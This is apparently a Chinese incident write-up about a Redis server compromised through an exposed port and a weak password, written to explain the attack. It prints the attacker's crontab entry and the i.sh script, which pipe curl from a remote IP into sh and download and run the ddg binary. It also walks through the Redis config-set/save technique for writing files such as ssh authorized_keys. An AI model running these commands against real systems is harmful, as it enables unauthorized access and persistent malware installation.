Redis入侵服务器

redis集群

之前打算用redis作为session的缓存,然后让同事去配置了redis集群。测试环境流程ok,在生产环境并没有直接合入,只是单纯地搭建了redis集群数据库。

发现问题

因为我们有自动化备份数据,利用linux自带的cron工具,每天凌晨2点去执行备份数据库脚本,但是我们运维人员某天去检查的时候,发现当天的凌晨2点并没有产生备份数据库。沿着线索发现cron的文本已经被修改了

cd /var/spool/cron/crontabs/   //文件位置  
cat root  //查看文件

REDIS0007dis-ver3.2.8edis-bitsctimeXed-mem  
*/1 * * * * curl -L http://218.38.3.16:9999/i.sh?6379 | sh
test1SUCCESSkey1  

那么这个.sh是什么?

export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin

echo "*/5 * * * * curl -fsSL http://218.38.3.16:9999/i.sh?8 | sh" > /var/spool/cron/root  
mkdir -p /var/spool/cron/crontabs  
echo "*/5 * * * * curl -fsSL http://218.38.3.16:9999/i.sh?8 | sh" > /var/spool/cron/crontabs/root

if [ ! -f "/tmp/ddg.1007" ]; then  
    curl -fsSL http://218.38.3.16:9999/1007/ddg.$(uname -m) -o /tmp/ddg.1007
chmod +x /tmp/ddg.1007 && /tmp/ddg.1007  
fi  

从代码内容上可以看见,前几行都是生成上面相应的.sh定时任务
curl下载了ddg.xxx的elf格式文件,$(uname -m) 是为了兼容系统版本,chmod + x使其可执行,最后再执行文件
文件链接 ,以后能有较强逆向能力的时候,再去分析这个文件

延伸

在参考里面可以看到一些文章,情况类似,把本机(192.168.0.1)文件1.txt内容写到肉鸡服务器(192.168.0.2)上/var/2.txt

1.首页由于redis的端口暴露在公网,并且用户名/密码比较弱,被黑掉;假设肉鸡hostip是192.168.0.1,爆破密码是ruqin123456

2.在本机linux上输入

//两个前后两个回车,是为了把1.txt单独做一组公钥校验
(echo -e "\n\n"; cat 1.txt; echo -e "\n\n") > 1s.txt
cat 1s.txt | redis-cli -h 192.168.0.2  -a ruqin123456 -x set output  

这样,就能把1.txt文件内容写到redis数据库里面,其中key为output,value为1.txt文件内容

3.此时,在192.168.0.1上再开一个终端,连接上192.168.0.2的redis

redis-cli -h 192.168.0.2  -a ruqin123456  
192.168.0.2:6379> get output  

可以查看到数据

192.168.0.2:6379> get output  
192.168.0.2:6379> flushall  
192.168.0.2:6379> config set dir /var/  
192.168.0.2:6379> config dbfilename "2.txt"  
192.168.0.2:6379> save  

上面命令就可以保存数据到/var/2.txt
但是新版本redis,会在save的时候,首尾添加部分信息
按照之前的版本,上述方式就可以覆盖ssh登录的authorized_keys
黑客就可以免密码登录了


参考

redis crackit入侵事件总结
记录一次攻击事件(redis 未授权漏洞利用直接登录服务器)v